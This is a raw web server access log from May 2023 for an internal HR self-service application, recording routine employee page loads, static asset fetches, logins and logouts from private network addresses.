192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 200 3186
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 200 3493
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 200 3588
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 200 3607
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 200 4339
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 200 34635 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 200 9030
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/Person.png HTTP/1.1" 200 960
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 200 871
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 200 88 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/img/human.png HTTP/1.1" 200 26107 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:55:03 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.134 - - [25/May/2023:13:51:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.134 - - [25/May/2023:13:51:00 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:51:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.134 - - [25/May/2023:13:51:10 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:55:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:55:07 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.134 - - [25/May/2023:13:50:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.11.134 - - [25/May/2023:13:50:56 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.134 - - [25/May/2023:13:55:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.11.134 - - [25/May/2023:13:55:09 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:50:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:50:33 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE002&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:13:54:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139
192.168.12.71 - - [25/May/2023:13:54:13 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 139 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:49:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 -
192.168.12.71 - - [25/May/2023:13:49:50 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.all.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.base.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.theme.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.core.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.resizable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.selectable.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.accordion.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.autocomplete.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.button.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.dialog.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.slider.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.tabs.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.datepicker.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/jquery.ui.progressbar.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/layout/layout.min.css HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_obj.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/logo.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 9507 "http://192.168.1.81:8088/eHR/ess/index.php?lang=ZHT" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_jd.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_about.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_help.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/icon_exit.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/human.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jqueryui/jquery-1.4.4.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/ess-logo.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jqueryui/jquery-ui-1.8.11.custom.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jquery.layout.min-1.2.0.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/js/jquery.cookie.min.js HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_6da8d5_256x240.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/layout/toggle-lt.gif HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_85_dfeffc_1x400.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/img/Person.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:56:31 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_inset-hard_100_fcfdfd_1x100.png HTTP/1.1" 304 -
192.168.12.71 - - [25/May/2023:13:56:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:56:33 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.97 - - [25/May/2023:13:57:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 304 - "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.11.97 - - [25/May/2023:13:57:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-bg_glass_75_d0e5f5_1x400.png HTTP/1.1" 304 -
192.168.11.97 - - [25/May/2023:13:57:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369
192.168.11.97 - - [25/May/2023:13:57:06 +0800] "GET /eHR/css/jqueryui/themes/redmond/images/ui-icons_217bc0_256x240.png HTTP/1.1" 200 4369 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko"
192.168.12.71 - - [25/May/2023:13:57:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:57:33 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 -
192.168.11.236 - - [25/May/2023:13:57:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13121
192.168.11.236 - - [25/May/2023:13:57:44 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE004&appdesc=%E6%89%B9%E9%87%8F%E8%AF%B7%E5%81%87%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 13121 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.12.71 - - [25/May/2023:13:57:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929
192.168.12.71 - - [25/May/2023:13:57:45 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.81:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
192.168.11.136 - - [25/May/2023:13:59:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.136 - - [25/May/2023:13:59:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121
192.168.11.136 - - [25/May/2023:13:59:25 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 302 121 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:13:59:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.136 - - [25/May/2023:13:59:34 +0800] "GET /eHR/img/ares.ico HTTP/1.1" 200 1406
192.168.11.136 - - [25/May/2023:13:59:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826
192.168.11.136 - - [25/May/2023:13:59:25 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.87 Safari/537.36 SE 2.X MetaSr 1.0"
192.168.11.134 - - [25/May/2023:13:59:20 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.81:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36"
